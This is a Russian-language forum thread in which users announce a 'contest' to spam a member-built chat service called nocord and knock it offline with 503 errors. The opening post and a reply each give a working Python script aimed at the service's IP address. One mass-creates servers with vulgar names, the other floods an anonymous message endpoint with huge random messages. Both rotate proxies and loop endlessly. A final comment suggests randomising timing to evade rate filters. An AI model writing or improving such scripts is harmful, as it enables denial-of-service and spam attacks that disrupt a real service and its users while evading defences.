В этом итт тхреде мы будем пользоваться сервисом nocord созданным участником нашего форума. По мере использования, делимся скриптами и прочими решениями.

Также я объявляю следующие направления специальной олимпиады:

  1. Спам сервиса сообщениями
  2. Доведение сервиса до ошибки 503
  3. tbd

Как первый участник я покажу свой (chatgpt) код:

import requests
import random
import time
from concurrent.futures import ThreadPoolExecutor

# Функция для чтения прокси из файла
def read_proxies(proxy_file):
    with open(proxy_file, 'r') as file:
        proxies = [line.strip() for line in file.readlines()]
    return proxies

# Функция для отправки формы
def submit_form(name, password, proxy):
    url = "http://91.192.22.20/create.php"

    # Формируем данные для отправки
    data = {
        'name': name,
        'password': password,
        'password2': password,
        'public_submit': 'Создать публичный сервер',
    }

    # Настроим прокси
    proxies = {
        "http": proxy,
        "https": proxy,
    }

    try:
        # Отправляем POST запрос
        response = requests.post(url, data=data, proxies=proxies, timeout=10)
        
        # Проверяем статус код ответа
        if response.status_code == 200:
            print(f"[INFO] Успешно отправлена форма для сервера: {name}")
        else:
            print(f"[ERROR] Ошибка при отправке формы для {name}. Статус код: {response.status_code}")
    except requests.RequestException as e:
        print(f"[ERROR] Ошибка при отправке формы для {name}. Ошибка: {e}")

# Основной цикл
def main():
    proxies = read_proxies('proxy.txt')  # Читаем список прокси из файла
    base_name = "пррррр посрал в парашу пррррр"
    password = "12345"
    iteration = 1

    # Создаем пул потоков с 10 рабочими потоками
    with ThreadPoolExecutor(max_workers=10) as executor:
        while True:
            # Генерируем уникальное имя сервера
            name = f"{base_name}{iteration}"
            
            # Выбираем случайный прокси из списка
            proxy = random.choice(proxies)
            
            # Выводим информацию о текущем шаге
            print(f"[INFO] Попытка отправить форму для {name} с прокси {proxy}")
            
            # Отправляем форму в отдельном потоке
            executor.submit(submit_form, name, password, proxy)
            
            # Инкрементируем итерацию
            iteration += 1

            # Увековечиваем шаг (например, задержка 1 секунда, чтобы не создавать слишком много задач одновременно)
            time.sleep(0.1)

if __name__ == '__main__':
    main()

Перемещено cocucka из tox

  • shikata_ga_naiOP
    link
    fedilink
    arrow-up
    0
    ·
    1 year ago

    Еще питонячий вариант, через браузер не так удобно, он после сотни виснуть начинает

    import requests
    import random
    import string
    import time
    
    # Функция для генерации случайного текста
    def generate_random_text(length):
        characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
        result = ''.join(random.choice(characters) for _ in range(length))
        return result
    
    # Функция для отправки случайного сообщения
    def send_random_message(proxy_list):
        url = 'http://91.192.22.20/servers/1/anonymous_send.php'
        random_text = generate_random_text(100000)
        
        # Параметры, как в JS-скрипте: передаем "message"
        data = {'message': random_text}
        
        # Пробуем использовать каждый прокси из списка
        for proxy in proxy_list:
            proxies = {"http": f"http://{proxy}", "https": f"http://{proxy}"}
            try:
                # Отправляем данные с типом контента 'application/x-www-form-urlencoded'
                headers = {'Content-Type': 'application/x-www-form-urlencoded'}
                response = requests.post(url, data=data, proxies=proxies, headers=headers, timeout=5)
                
                # Проверка успешного ответа
                if response.status_code == 200:
                    print(f"Сообщение отправлено через прокси: {proxy}")
                    break
            except requests.RequestException as e:
                print(f"Ошибка с прокси {proxy}: {e}")
                continue
        else:
            print("Не удалось отправить сообщение с использованием доступных прокси.")
    
    # Чтение прокси из файла
    def load_proxies(file_path):
        with open(file_path, 'r') as f:
            return [line.strip() for line in f.readlines()]
    
    # Основная функция
    def main():
        proxies = load_proxies('proxy.txt')
        while True:
            send_random_message(proxies)
            time.sleep(0.1)  # 100 мс между отправками
    
    if __name__ == "__main__":
        main()
    
    • Oberstserj
      link
      fedilink
      arrow-up
      0
      ·
      1 year ago

      100 мс между отправками

      Надо время рандомное сделать, чтобы не отфильтровал по частоте сообщений.